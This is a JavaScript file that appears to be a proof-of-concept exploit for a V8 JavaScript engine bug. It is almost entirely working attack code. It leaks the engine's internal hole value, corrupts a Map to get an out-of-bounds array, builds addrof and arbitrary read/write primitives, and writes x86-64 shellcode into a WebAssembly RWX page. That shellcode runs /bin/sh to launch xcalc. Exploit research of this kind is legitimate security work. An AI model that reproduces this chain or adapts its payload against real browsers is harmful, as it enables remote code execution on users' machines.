b5fa92428c9d4516ebdc72643ea980d8bde8f987.js

b5fa92428c9d4516ebdc72643ea980d8bde8f987.js

/*
HEAD @ b5fa92428c9d4516ebdc72643ea980d8bde8f987
*/

let buf = new ArrayBuffer(8);
let f64 = new Float64Array(buf);
let i64 = new BigUint64Array(buf);

const ftoi = x => {
  f64[0] = x;
  return i64[0];
};

const itof = x => {
  i64[0] = x;
  return f64[0];
};

const hex = x => {
  return `0x${x.toString(16)}`;
};

function foo() {
  const _x = a => (a => a.x())(a);
  const _y = (a, b) => b.y(a, b, 1);

  const _z = i => {
    Error.prepareStackTrace = (_, x) => x[i].getThis();
    return Error().stack;
  };

  function X() {}

  X.prototype.x = () => {
    let z = _z(3);
    z[0] = 0;
    e = { x: z, y: _z(3) };
  };

  X.prototype.y = function(a, b) {
    'use strict';
    _x.call(arguments, b);
    return arguments[a];
  }

  let e = null;

  let x = new X();
  for (let i = 0; i < 10000; i++)
    _y(1, x);

  delete e.x[0];
  return e.y[0];
}

function bar() {
  let hole = foo();

  let m = new Map();
  m.set(1, 1);
  m.set(hole, 1);
  m.delete(hole);
  m.delete(hole);
  m.delete(1);

  let a = new Array(1.1, 2.2);
  m.set(16, -1);
  m.set(a, 1337); 

  return a;
}

let oob = bar();
console.assert(oob.length == 1337);

/* flt.elements @ oob[7]  (upper) */
/* obj.elements @ oob[16] (upper) */
/* rdw.elements @ oob[20] (upper) */
let flt = [1.1];
let obj = [{a: 1}];
let rdw = [1.1];

/* set upper bits of oob[7] to upper bits of oob[16] */
let _x = ftoi(oob[7]) & 0xffffffffn;
let _y = ftoi(oob[16]) >> 32n;
oob[7] = itof((_y << 32n) + _x);

const addrof = o => {
  obj[0] = o;
  return (ftoi(flt[0]) & 0xffffffffn) - 1n;
};

const read = p => {
  let _x = ftoi(oob[20]) & 0xffffffffn;
  oob[20] = itof(((p - 8n + 1n) << 32n) + _x);
  return ftoi(rdw[0]);
};

const write = (p, x) => {
  let _x = ftoi(oob[20]) & 0xffffffffn;
  oob[20] = itof(((p - 8n + 1n) << 32n) + _x);
  rdw[0] = itof(x);
};

let wasm = new Uint8Array([
  0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x85, 0x80, 0x80, 0x80,
  0x00, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80, 0x00, 0x01,
  0x00, 0x04, 0x84, 0x80, 0x80, 0x80, 0x00, 0x01, 0x70, 0x00, 0x00, 0x05, 0x83,
  0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 0x01, 0x06, 0x81, 0x80, 0x80, 0x80, 0x00,
  0x00, 0x07, 0x91, 0x80, 0x80, 0x80, 0x00, 0x02, 0x06, 0x6d, 0x65, 0x6d, 0x6f,
  0x72, 0x79, 0x02, 0x00, 0x04, 0x6d, 0x61, 0x69, 0x6e, 0x00, 0x00, 0x0a, 0x8a,
  0x80, 0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80, 0x00, 0x00, 0x41, 0x2a,
  0x0b
]);

let module = new WebAssembly.Module(wasm);
let instance = new WebAssembly.Instance(module);

let rwx = read(addrof(instance) + 0x60n);

/* DISPLAY=':0.0' xcalc */ 
let shellcode = new Uint8Array([
  0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x99, 0x50, 0x54,
  0x5f, 0x52, 0x66, 0x68, 0x2d, 0x63, 0x54, 0x5e, 0x52, 0xe8, 0x15, 0x00, 0x00,
  0x00, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x27, 0x3a, 0x30, 0x2e,
  0x30, 0x27, 0x20, 0x78, 0x63, 0x61, 0x6c, 0x63, 0x00, 0x56, 0x57, 0x54, 0x5e,
  0x6a, 0x3b, 0x58, 0x0f, 0x05
]);

let abuf = new ArrayBuffer(shellcode.length);
let view = new DataView(abuf);

write(addrof(abuf) + 0x1cn, rwx);

for (let i = 0; i < shellcode.length; i++) {
  view.setUint8(i, shellcode[i]);
}

instance.exports.main();